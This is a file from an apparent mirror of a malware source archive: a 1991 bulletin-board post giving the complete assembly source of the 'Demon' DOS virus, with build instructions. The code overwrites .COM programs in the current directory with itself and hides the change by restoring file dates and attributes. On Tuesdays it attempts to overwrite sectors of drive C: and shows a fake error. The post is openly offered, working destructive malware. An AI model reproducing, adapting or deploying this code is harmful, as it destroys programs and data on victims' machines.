mirror of
https://github.com/vxunderground/MalwareSourceCode
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137 lines
6.1 KiB
NASM
137 lines
6.1 KiB
NASM
Dt: 19-Oct-91 04:19
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By: Skin Head
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To: All
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Re: New Source Code
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;========== Demon virus ==================================== 22.09.91 ========
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;
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; Assemble and link with: TASM DEMON.VIR
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; TLINK DEMON /X/T
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; Infect all .COM programs in current directory with: DEMON
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;
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; !!! NOT ON A TUESDAY !!!
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;
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;-------------- Constants and structures
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Tuesday = 2 ; INT 21h, AH=2Ah
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Search_Rec struc ; directory search record
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db 21 dup (?) ; reserved for DOS
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FileAttr db ? ; file attribute
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FileTime dw ? ; packed file time
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FileDate dw ? ; packed file date
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FileSize dd ? ; long file size
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FileName db 13 dup (?) ; ASCIIZ FILENAME.EXT
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Search_Rec ends
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;-------------- Demon virus segment
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Virus segment
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assume cs:Virus,ds:Virus,es:Virus,ss:Virus
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org 0080h
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DTA Search_Rec <> ; disk transfer area
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org 0100h
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Demon: ; virus entry point
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Virus_Size = Virus_End - Demon ; virus size = 272 bytes
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mov dx,offset All_COM ; find first .COM file,
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mov ah,4eh ; including hidden/system
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mov cx,110bh
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int 21h
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nop
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jnc Infect ; abort if no files found
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jmp short Check_Day
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Infect: call Replicate ; overwrite first 272 bytes
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mov dx,offset DTA
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mov ah,4fh ; find next .COM file,
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int 21h ; go check day if none found
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nop ; else repeat
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jnc Next_File
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jmp short Check_Day
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Next_File: jmp Infect
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Check_Day: mov ah,2ah ; get DOS date, check day
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int 21h
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cmp al,Tuesday ; Tuesday ?
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je Thrash_Drive ; if yes, thrash drive C:
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mov ah,4ch ; else exit to DOS
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int 21h
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Thrash_Drive: mov Counter,0 ; overwrite first 160 sectors
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jmp Write_Sectors ; of drive C: with garbage
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Write_Sectors: mov al,Drive_C ; Error: doesn't work !
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mov cx,160 ; AL=C:, CX=160 sectors
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mov dx,0 ; DX=highest sector in drive !
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mov bx,0 ; DS:BX=start of PSP area
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int 26h ; overwrite sectors
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inc Counter
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cmp Counter,10 ; repeat 10 times
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je Show_Msg
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jne Write_Sectors
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Show_Msg: mov ah,09h ; show a fake error message
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mov dx,offset Virus_Msg ; and exit to DOS
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int 21h
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mov ah,4ch
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int 21h
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Replicate: mov dx,offset DTA.FileName ; save file attribute
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mov ax,4300h
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int 21h
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mov COM_Attr,cx
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nop
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xor cx,cx ; unprotect the .COM file
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mov ax,4301h ; in case it's read-only
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int 21h
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nop
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mov ax,3d02h ; open .COM file for R/W,
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int 21h ; abort on error
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nop
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jc Check_Day
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mov bx,ax ; BX = file handle
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mov ax,5700h
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int 21h ; save file date and time
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nop
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mov COM_Time,cx
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mov COM_Date,dx
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mov dx,offset Demon ; overwrite first 272 bytes
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mov ah,40h ; of .COM program file
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mov cx,Virus_Size ; with the virus code
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int 21h
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nop
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mov ax,5701h ; restore file date and time
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mov dx,COM_Date
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mov cx,COM_Time
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int 21h
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mov ah,3eh ; close the file
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int 21h
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nop
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mov dx,offset DTA.FileName ; restore file attribute
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mov cx,COM_Attr
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mov ax,4301h
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int 21h
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retn
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All_COM db '*.COM',0 ; dir search specification
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COM_Date dw 0 ; packed .COM program date
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COM_Time dw 0 ; packed .COM program time
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COM_Attr dw 0 ; .COM program file attribute
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Counter db 0 ; used when thrashing drive C:
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Drive_C db 2 ; INT 26h C: drive number
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dw 0
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Copyright db 'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
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dw 0
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Virus_Msg db 10,13,'Error eating drive C:',10,13,'$'
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Virus_End label byte ; virus code+data end
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Virus ends
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end Demon
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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